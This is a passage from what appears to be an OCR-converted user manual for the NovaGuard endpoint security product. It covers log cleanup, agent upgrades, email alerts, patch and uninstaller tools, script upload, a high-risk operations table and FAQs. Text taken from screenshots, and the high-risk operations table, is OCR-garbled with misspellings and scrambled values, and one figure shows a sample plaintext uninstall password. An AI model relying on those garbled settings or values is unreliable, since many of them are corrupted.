| Auto Log Cleanup @

Threshold :

Delete logswhen log storage usage exceeds 90 %

Security Logs Delete logs generated . 120 days ago
Coordinated Action Logs - Delete logs generated 180 days ago
Operations Logs © Delete logs generated . 120 days ago
Admin Logs Delete logs generated 120 days ago

1. When the log storage usage exceeds 70%, a banner notification will be
displayed.
2. When the log storage usage exceeds the threshold for deleting logs, logs

are automatically deleted.

4.7.9.5 Deployment and Upgrade

NovaGuard supports auto update, concurrent update, and P2P upgrade of the

NovaGuard agent and databases.

1. Auto update: Only one agent is updated first when agents on some servers
need to be updated. Other agents are updated only after it is confirmed
that the first updated agent is normal.

2. Concurrent update: To prevent network congestion due to simultaneous

updates of a large number of agents, you can set the maximum number
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of concurrently updated endpoints to reduce the update's impact on the
network bandwidth.

3. P2P update: In this upgrade mode, the NovaGuard agent is downloaded
from multiple seed nodes (endpoints that have installed the NovaGuard
agent). Compared to the previous single-channel NovaGuard agent
download from the NovaGuard manager, this mode accelerates the
upgrade and reduces bandwidth usage. P2P upgrade is supported for the
NovaGuard agent installation, NovaGuard agent upgrade, and antivirus

database update.

To configure the upgrade settings, go to System > System > Deployment and

Upgrade, as shown in the following figure.

Deployment and Upgrade

| Agent and Database Upriate
Aulo Update @ (® Al endpaints automatically update the agent, signature database, and vulnerability datahase

Sarme endpoints automatically Update the agert, signature database, and winerability database

Mo endpoint automatically updates the agent, signature database, and vulnerability database
Concurrent Update @: Mo limit on number of endpaints

® Atmost 5 endpoint(s) can automatically update the agent, signature database, and winerability database

| vuineranility Update
Auto Update Manual Update
(®) Auto Update  Every day T 0z00 ~ to 0500 >

| P2P settings

The decentralized services provided by peer-to-peer networking can effectively reduce installation and upgrade time and boost efficiency
Enable P2P for installation and upgrade @

Maon-distribution Endpoints ®

@

Excluded IP Addresses @:

| Client Integration Settings @

Endpoint User Info Sync

e Agent and Database Update: Specify the NovaGuard agent upgrade

method and the number of endpoints for concurrent upgrade.
e Auto Update: Specify the auto upgrade policy.

e Concurrent Update: Specify the concurrent upgrade policy to limit the
number of concurrent upgrade endpoints and reduce the upgrade's impact

on bandwidth.
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e P2P Settings: If you enable P2P for installation and upgrade, NovaGuard
agent installation, NovaGuard agent upgrade, and antivirus database
update are executed in P2P mode. The endpoints serving as P2P seed nodes
will enable the HTTP service for download in pieces. To exclude an endpoint

from serving as a seed node, select it from Non-distribution Endpoints.

e Vulnerability Update: Specify the time for the automatic update of the

vulnerability database of the NovaGuard manager.

LlNoTE

1. The P2P upgrade is not supported in scenarios where the NovaGuard manager is exposed

to the Internet through port mapping.

2. The P2P upgrade is supported for NovaGuard agent installation, upgrade, and antivirus

database update.

3. The P2P upgrade is applicable only to Windows PC endpoints, and is inapplicable to

Windows XP, Windows Server, macQOS, and Linux.

4.7.9.6 Alert Options

Security event alerts can be sent to specified email addresses.

Email alerts

The NovaGuard manager supports the monitoring of CPU, memory, and disk
usage. If the usage exceeds the threshold for the specified period, you are
alerted by email. This feature keeps you informed of the operation status of

NovaGuard and the global security.

To configure alert events, go to System > System > Alert Options > Alert

Events, as shown in the following figure.
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Alert Events Alert Motification

| Manager Alerts

Alert Events Alert Trioger Email Motification
CPU Usage Exceeds 70 Wt a0 ming v

Memory Usage Excesds 70 %ot a0 ming v

Storage Usage @ Exceeds | g0 %

Suspicious IP Login 1 hours, over 10

Brute-Force Attack 1 hours, over & @

| Agent Security Alerts

Alert Events Alert Trigger Ermail Motification
Virus Infection 3 hours, detected on over 30 % of endpoints

Brute-Force Aftack 3 hours, detected onover 30 % of endpoints

High-Severity ¥irus 3 hours, over &0 times

WehShell Backdoor 3 haurs, over . 50 times

Ransomware ‘When detected

Unauthorized Outbou When detected

Agent Bypass When detected

| Agent Scan Tasks
Alert Events Alert Trigger Ermail Notification

Single Malware Scan . Scan paused abnormally on over 3

| Software License Anomalies

Alert Events Alert Trigger Email Notification
Insufficient Licenses Mumber of remaining licenses for a softiare application is less than 10

Licenses Expired The licenses of a software application will expire in- 30 day(s)

Endpoints Installed {N Anaon-cammercial software application has heen installed an atleast 10 endpoint]

To configure an alert notification, go to System > System > Alert Options >

Alert Notification, as shown in the following figure.
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Alert Events Alert Notification

| Email Address

Mame Email Address Operatian

Mone

Within 3 hours, a magimum of - 50 emails will be sent, and excessive ones will be sent next time

The following figure shows a sample alert email sent to the specified email

addresses when a specified event triggers an alert.

Dear Customer,

Your Daily Report [Endpoint Risk Report] is attached in this email. Please check the attachment

LONoTE

To use email alerts, you must first configure the SMTP server in the General module.

4.7.9.7 LDAP Sync

(OnoTE

For details about LDAP synchronization, see Chapter 3.2.1.3 Synchronize the LDAP

Information.

4.7.9.8 Customization

LLINoTE
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For more information about customization, see Chapter 3.5.1.9 Customization.

4.7.9.9 Tools

On the Tools page, you can use Offline Security Patch Downloader and

Agent Uninstaller.

Offline Security Patch Downloader

This tool can be used with NovaGuard's vulnerability detection and repair
feature. When the NovaGuard manager and the managed endpoints of a
customer cannot access the Internet, they can use this tool to download
vulnerability patches and then import the patches to the NovaGuard manager

and fix vulnerabilities of endpoints.

To download Offline Security Patch Downloader, go to System > System >

Tools, as shown in the following figure.

f—
(] (-] (-] [ -]

Step 1. After downloading the tool, copy it to an endpoint with Internet

access.

Step 1. Run the tool to download a vulnerability patch package, as shown in

the following figure.
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Step 2. Import the downloaded vulnerability patch package into the

NovaGuard manager, as shown in the following figure.

Vulnerabilty Database

| Vuinerability Database

w

| Vulnerability Database Update
Rafiosn

o Endgoint

1 Ay

a 3 debian

3 WIN-PELABIBTUZY

Current Version: 2020922145528

1P Adress

107810318

TRZRTEES

10645120

AssetUser

amy

Linda

Endpoint satus

ofine

® anine

ofine

Localanagar +

0230922145528

20022145528

220022145528

Progress

Progress

Compisted

Compietad

\J EDR Patch Pack Download Tool ? x
Vulnerability Rule Library Version: | 0230922145528 | Import Rule
Severity < | |patch tmpact | [product | CreationDate: [12/31/1363 |- [10/18/2023 | [ Patch KB/pstch ttke, enquiry by Enter | Download status

D Severity Patch Tite PatchkB  Patch Impact Product CreatiorDate  Dowrload Status o)
01 Unknown kB None 1969-12-31 Mot donrloaded
2  Hgh Security Update for Windows XP (KB358644) KB358644  None Windows XP 2008-10-22 Mot downloaded
s High Security Update for Microsoft .NET Framework 1.0 5P3 on Windows XP Ta... KB2742607  None Windows XP 012-12-31  Not dowrloaded
Os High Security Update for Vindows XP (kB2778344) KB2778344  None Windows XP 20130205  Not downloaded
Os High Security Update for Viindows XP (<62802965) KB2802968  None Vindows XP 0130205 Not dowrloaded
Os High Security Update for Windows XP (KB2807966) KB2807985  Nane Vindows XP 0130303 Not donrloaded
07  Low Security Update for Windows XP (KE280110) KB2801109  None Vindows XP 0130402 Not dowrloaded
Os Moderate Security Update for Windows XP (KB2820917) KB2820917 None Windows XP 20130402 Not downloaded
Os High Security Update for Windows XP (<B2513170) KB2813170  None Windows XP 0130402 Not downloaded
O Hoh Security Update for Windows XP (62513345 KB2813345  None Windows XP 20130402 Not downloaded
1 Hgh Security Update for Windows XP (KB2808735) KB2308735 None Windaws XP 20130404 Notdownloaded
i1z Hgh Security Update for Windows XP (K62834586) KB2834886  None Vindows XP 0130708 Mot dowrloaded
(013 Hgh Security Update for Windows XP (KB2835364) KB2835364 None Windows XP 20130708 Not dowrloaded
14 Hagh Security Update for Microsoft .NET Framework 1.0 5P3 on Windows XP Ta... KB2833951  None Viindows XP 0130708 Not downloaded
O High Security Update for Windows XP (KB2849470) KB2849470  None Windows XP 2013-08-12  Not downloaded
[ Hgh Security Update for Windows XP (KB2850869) KB2850869  None Windows XP 2013-08-12  Notdownloaded
017  Hgh Security Update for Windows XP (KB2859537) KB2859537 Mane Windows XP 01308-12 Mot donrloaded
(018  Hgh Security Update for Windows Media Format Runtime 9.5 for Windows XP (... KB2834902  None Windows XP 01308-25  Not downloaded
19 Hgh Security Update for Windows Media Format Runtime 9 for Windows XP (K., KB2803821 Nene Windows XP 01308-25  Not dowrloaded
20 Hagh Security Update for Windows Media F 9.5 for Windows XP (.. KB2834303 None Vindows XP 01308-25  Not downloaded v
Selectall | Unselectall Total: 6117, Current page 500, selected: 0 =E 1 : BEE Clear Cache

Step 3. Run an NovaGuard manager vulnerability scan and fix the detected

vulnerabilities.

[ INoTE

We recommend that you download vulnerability patches as needed. The downloaded patch

package can be huge if you download all patches simultaneously. As a result, the import

may fail.

Agent Uninstaller

When the NovaGuard agent is disconnected from the Internet, and the

uninstallation password cannot be used, you can download Agent Uninstaller

from the NovaGuard manager and share it with endpoint users who want to

uninstall the NovaGuard agent from their endpoints.

1. Download Agent Uninstaller from the NovaGuard manager

The downloaded Agent Uninstaller package contains the uninst.exe file,

configuration files, and the uninstallation password in plain text.
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Agent Uninstaller

w Use this to remove agents which cannot be uninstalled due to network disconniection, change of uninstallation passwords, etc, (Windows PC only)

1. This tool is applicable to all agents of this manager. Please use with cattion

2. Decompress the file downloaded and run the uninstaller on the endpoint where the agent needs to be removed, and enter the uninstallation password specified in the compressed file.

2. Run Agent Uninstaller on a Windows endpoint

The endpoint user receives the Agent Uninstaller package, decompresses it,

and runs uninst.exe.

“

3 Quick access
[ Desktop
‘- Downloads

lﬂ Documents

etc

im Local Disk (C)

¢@ OneDrive

& This PC

On the Ul of Agent Uninstaller, the endpoint user enters the uninstallation

Share View
» uninsttar ~ O Search uninst.tar
A
Name Date modified Type
m 7] libepsbase.dil Application extens...
%] rnsver100.dil Application extens...
x d readme.ted Text Document
* [ sfeordib.dll Application extens...
+ (%] uninst.exe Application
+ \‘:] uninst.ini Configuration sett...
:I veruntimel40.d1l 10/18/2023 11:36 ...  Application extens...

password in the readme.txt file to start the uninstallation.

Enterthe uninstallation pa

NovaGuard
Ultimate 5 rity in a Lightweight Client

obtained frem

/a Endpoint Securs admin

283 KB
756 KB
1KB

136 KB
4KB
T9KB
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_ﬁ| readme.td - Motepad

File Edit Format View Help
h’he uninstall password: |vLK2Yr

4.7.10 Troubleshooting

4.7.10.1 Upload Script File

The Upload Script File page supports sending scripts to endpoints and

executing them on Linux and Windows endpoints.

3¢ Agent Deployment Upload Script File

[ System Updates
Seript

[Z] Integrated Devices
Endpoints

i, Branches
Remarks

5] Administrators “

% i Script Sample Download
Z Licensing

£l Logs

o) Data Sync

{5 System

=1 Troubleshooting

Upload Script File

Troubleshooting Logs

Script: Upload the script files to be sent to the endpoints; and the file size

cannot exceed 1MB.

Endpoints: Select the endpoints to receive the scripts.

CONoTE

1. Only endpoints in the Online state can be selected.
2. The super administrator account must enable TOTP authentication to enable this feature.

3. Only the super administrator account can use this feature.
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4.7.10.2 Troubleshooting Logs

Step 1. Click Obtain Logs and specify the endpoints and log types, as shown

in the following figure.

Obtain Legs

Endpoint localhost.localdomain

Operation

11 Operation
Basic config
Realtime Protection

Detection and Response

BEEE

Settings

Step 2. Click OK and wait for the process to complete. Click Download to

download the troubleshooting logs.

4.7.10.3 Agent FAQ

This module provides guidance on how to troubleshoot issues in scenarios
such as agent installation, agent uninstallation, agent offline, and high
CPU/memory usage, and can help O&M personnel quickly locate agent-related

issues during routine O&M operations.

5 High-Risk Operations

Before you use NovaGuard, learn about and avoid the high-risk operations
described in the table below. Otherwise, your business may be affected or, in

severe cases, interrupted.
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The action for a

Table 5: High-risk Operations

A business file may

be quarantined

Set the action

for a detected

threat file to

insufficient, the scan

more endpoint

ICPU resources.

General Anti- detected threat file is |due to a false
Policies High IAuto Fix -
Policies Malware  [set to Auto Fix - positive, which can
Business
Security First. cause a system
Continuity
error.
First.
[The virus detection
rate is higher in
High Detection
Rate mode, Do not set the
The engine is set to resulting in more lengine to High
General Anti-
Policies High Detection Rate ffalse positives. We High Detection Rate
Policies Malware
for daily operations.  recommend using for daily
this mode only loperations.
when you test the
irus detection
rate.
Set the action
In the Realtime File A business file may
for a detected
Protection section, thepe quarantined
threat file to
General Realtime  |action to take for a due to a false
Policies High IAuto Fix -
Policies Protection (detected threat file is |positive, which can
Business
set to Auto Fix - cause a system
Continuity
Security First. error.
First.
In High CPU mode, When the server
) ) When the server
Detection and |Anti- ascan consumes | performance is
Scan Mode performance is High
Response Malware

insufficient, set

the scan mode
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mode is set to High

ICPU.

[This affects the
system services if
the server
performance is
insufficient. We
recommend that
lyou set the scan
mode to Balanced

by default.

to Low CPU or

/Adaptive.

An isolated
lendpoint cannot

access any other

Go to Detection
land Response >

Target Assets >

isolated domain or

IP address is

Detection and [Target
Endpoint isolation networks. If a High Isolated, and
Response Assets
server is isolated, remove the
lyour business may lendpoint from
be affected. isolation.
IAn isolated High Go to Detection
lendpoint cannot ’and Response >
laccess any other Response >
Detection and Endpoint networks. If a Endpoint
Response Isolation
Response Isolation server is isolated, Isolation, and
lyour business may remove the
be affected. lasset from
isolation.
IAn isolated domainHigh Go to Detection
name or IP address ’and Response >
is not accessible to Response >
lendpoints. Your Domain
Detection and Domain Domain name and IP
Response business may be Blocking, and
Response Isolation laddress isolation
affected if an remove the

domain name or

IP address from

isolation.
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required for a

service.

server automatically
after fixing a

ulnerability.

A process blocked [High
on an endpoint is
killed. Your Restart the
Detection and Process
Response Process Killing business may be process on the
Response Killing
affected if the lendpoint.
process is required
for a service.
Afileis High Go to Detection
quarantined. Your land Response >
business may be Response > File
affected if the file iQuarantine,
is required for a land remove the
Detection and File service. file from the
Response File quarantine
Response Quarantine Quarantine area.
You can also
perform file
restoration on
an integrated
device.
We recommend
that you do not
Some vulnerability
specify to
fixes require a system
lautomatically
restart to take effect.
ulnerabilit restart the
Your business will be  [Your business is
Risk y server after
Patching  [interrupted if you interrupted due to High
lAssessment  [Remediatio fixing a
specify to restart the  [a server restart.
n ulnerability.

Instead, you can
manually restart
the server when

the restart

Version 02 (Jul. 18, 2025)

308




NovaGuard_V6.0.4R4_User Manual

causes a
minimal

business impact.

ou have enabled the
Key server services

trusted process Add server
Anti- cannot run,
General whitelist, but have not service
Policies Ransomwar resulting in High
Policies ladded server service processes to the
e business
processes to the whitelist.

interruption.
whitelist.
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6 FAQs

6.1 Installation and Deployment

1. What can | do if the following alert appears during the installation?

o The default name has been changed.

Solution:

This alert indicates that the installer file has been renamed. You can enter
the IP address of the NovaGuard manager and port number 443 in the
text boxes to continue, or you can re-download the installer. Note that you

cannot rename the installer.

2. What can | do if the following message is displayed during the installation:
Installation failed. Some file is missing. Please exit or uninstall the existing

security software first. "

Solution:

Uninstall other security software from your computer and try again.
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3. I cannot access the NovaGuard manager web console on Internet Explorer.

The message is displayed in the following figure.

Solution:

This message indicates that your Internet Explorer is outdated. We
recommend that you use Internet Explorer 11 or other up-to-date

browsers.

4. What can | do if the antivirus database cannot be automatically upgraded?

Solution:

Ensure you have configured the correct IP address, gateway, and DNS
settings for the NovaGuard manager, and your endpoint can access

download.forenova.com.

5. What can | do if errors occur after the NovaGuard agent is installed on an
endpoint?

Solution:

Log in to the NovaGuard manager. Go to Endpoint > Endpoint Groups
and disable the NovaGuard agent on the endpoint, as shown in the
following figure. If the errors persist after the NovaGuard agent is

disabled, contact your service provider.

Groups New More Al Endpoints (2 online /4 intotal)

5 Al Endpoints B Mo Endpoint Dissbigsgent |, 68 Agent Status Group 1P Address MAC Adchess 08

B Local Manager 1 Ay pe Reslaitagent ® oniine Ungrouped End... 107410318 FEFCFE272346  Windows 10 Educa.

Uninstall Agent

Ungrouped Endpoints 2 WIN-PELABTBTUZ 4 ® Oniine Ungrouped End... 107410338 FE-FC-FE-50-A1-75 Windaws Server 20.
Delste

Damain contral synchronization. 3 debian offine Ungrouped End... 10645129 FE-FC-FE-DB-71-9D Deian GNUILinux
AgentBypass

group! 4 1234dMac-rmini o AgentUninstal . Ungrouped End... 20020010028 63-5B-35-80-86-CB Mac 08X 10.13.6%
Disable Bypass

second
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6.2 Virus Scanning

1. Does NovaGuard support virus scanning on flash drives or shared online
directories?

Solution:

NovaGuard supports virus scanning on flash drives but does not support

virus scanning on shared online directories.

2. What can | do if the CPU usage is high when the NovaGuard manager

starts a virus scan?

Solution:

Log in to the NovaGuard manager. Go to Policies > Anti-Malware and

select Restrict for CPU Usage, as shown in the following figure.

Groups Basic Config  Anti-Mahware  Realiime Protection  Ant-Ransomware  TrustList — General Settings VU Remediation  Endpoint Contral  Customize

& Windows A Linw

5 Al Endpoints,

B Local Manager
I Maware Scan &

Ungrouped Endpoints

File Type: M Document [ Seipt g Becuable @ (4 Compressed ® || LowRisk ©
Domain control synehronization
Sean Options: Sk fles largerthan 50 MB
aroupt
Scan compressed fles upto| 3 layers deep
second

Portable Device Scan: [ Auto silent scan after a portable storage device is inserted and give the scan results to endpoint users ®

Action ® Auto Fix- Business Continuity Frst only i confirmed threats)

Auto Fix- Security First (ix les that are considered as threats)
No Action - Report Only (anly detect fles)
Engines

@Standard LowFalse Posiives  High DetectionRate - LowResource Usage - Custom
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